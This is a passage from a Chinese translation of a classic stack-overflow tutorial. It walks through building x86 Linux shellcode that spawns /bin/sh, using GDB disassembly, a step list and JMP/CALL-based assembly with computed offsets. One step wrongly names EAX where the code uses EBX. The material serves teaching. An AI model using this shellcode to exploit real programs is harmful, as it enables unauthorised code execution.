但是如果execve()调用由于某种原因失败了怎么办? 程序会继续从堆栈中读取指令, 这时的堆栈中可能含有随机的数据! 程序执行这样的指令十有八九会core dump. 如果execv e 调用失败我们还是希望程序能够干净地退出. 为此必须在调用execve之后加入一个exit 系统调用. exit系统调用在汇编语言看起来象什么呢?
exit.c ------------------------------------------------------------------------------ #include <stdlib.h>
void main() { exit(0); } ------------------------------------------------------------------------------
------------------------------------------------------------------------------ [aleph1]$ gcc -o exit -static exit.c [aleph1]$ gdb exit GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble _exit Dump of assembler code for function _exit: 0x800034c <_exit>: pushl %ebp 0x800034d <_exit+1>: movl %esp,%ebp 0x800034f <_exit+3>: pushl %ebx 0x8000350 <_exit+4>: movl $0x1,%eax 0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx 0x8000358 <_exit+12>: int $0x80 0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx 0x800035d <_exit+17>: movl %ebp,%esp 0x800035f <_exit+19>: popl %ebp 0x8000360 <_exit+20>: ret 0x8000361 <_exit+21>: nop 0x8000362 <_exit+22>: nop 0x8000363 <_exit+23>: nop End of assembler dump. ------------------------------------------------------------------------------
系统调用exit会把0x1放到寄存器EAX中, 在EBX中放置退出码, 并且执行"int 0x80". 就这些了! 大多数应用程序在退出时返回0, 以表示没有错误. 我们在EBX中也放入0. 现 在我们构造shell code的步骤就是这样的了:
a) 把以NULL结尾的字串"/bin/sh"放到内存某处. b) 把字串"/bin/sh"的地址放到内存某处, 后面跟一个空的长字(null long word) . c) 把0xb放到寄存器EAX中. d) 把字串"/bin/sh"的地址放到寄存器EBX中. e) 把字串"/bin/sh"地址的地址放到寄存器ECX中. (注: 原文d和e步骤把EBX和ECX弄反了) f) 把空长字的地址放到寄存器EDX中. g) 执行指令int $0x80. h) 把0x1放到寄存器EAX中. i) 把0x0放到寄存器EAX中. j) 执行指令int $0x80. 试着把这些步骤变成汇编语言, 把字串放到代码后面. 别忘了在数组后面放上字串 地址和空字, 我们有如下的代码:
------------------------------------------------------------------------------ movl string_addr,string_addr_addr movb $0x0,null_byte_addr movl $0x0,null_addr movl $0xb,%eax movl string_addr,%ebx leal string_addr,%ecx leal null_string,%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 /bin/sh string goes here. ------------------------------------------------------------------------------
问题是我们不知道在要破解的程序的内存空间中, 上述代码(和其后的字串)会被放到 哪里. 一种解决方法是使用JMP和CALL指令. JMP和CALL指令使用相对IP的寻址方式, 也就 是说我们可以跳到距离当前IP一定间距的某个位置, 而不必知道那个位置在内存中的确切 地址. 如果我们在字串"/bin/sh"之前放一个CALL指令, 并由一个JMP指令转到CALL指令上. 当CALL指令执行的时候, 字串的地址会被作为返回地址压入堆栈之中. 我们所需要的就是 把返回地址放到一个寄存器之中. CALL指令只是调用我们上述的代码就可以了. 假定J代 表JMP指令, C代表CALL指令, s代表字串, 执行过程如下所示:
内存低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 内存高 地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址 buffer sfp ret a b c
<------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03] ^|^ ^| | |||_____________||____________| (1) (2) ||_____________|| |______________| (3)
堆栈顶部 堆栈底部
运用上述的修正方法, 并使用相对索引寻址, 我们代码中每条指令的字节数目如下:
------------------------------------------------------------------------------ jmp offset-to-call # 2 bytes popl %esi # 1 byte movl %esi,array-offset(%esi) # 3 bytes movb $0x0,nullbyteoffset(%esi)# 4 bytes movl $0x0,null-offset(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal array-offset(%esi),%ecx # 3 bytes leal null-offset(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call offset-to-popl # 5 bytes /bin/sh string goes here. ------------------------------------------------------------------------------ 通过计算从jmp到call, 从call到popl, 从字串地址到数组, 从字串地址到空长字的 偏量, 我们得到:
------------------------------------------------------------------------------ jmp 0x26 # 2 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2b # 5 bytes .string \"/bin/sh\" # 8 bytes ------------------------------------------------------------------------------
|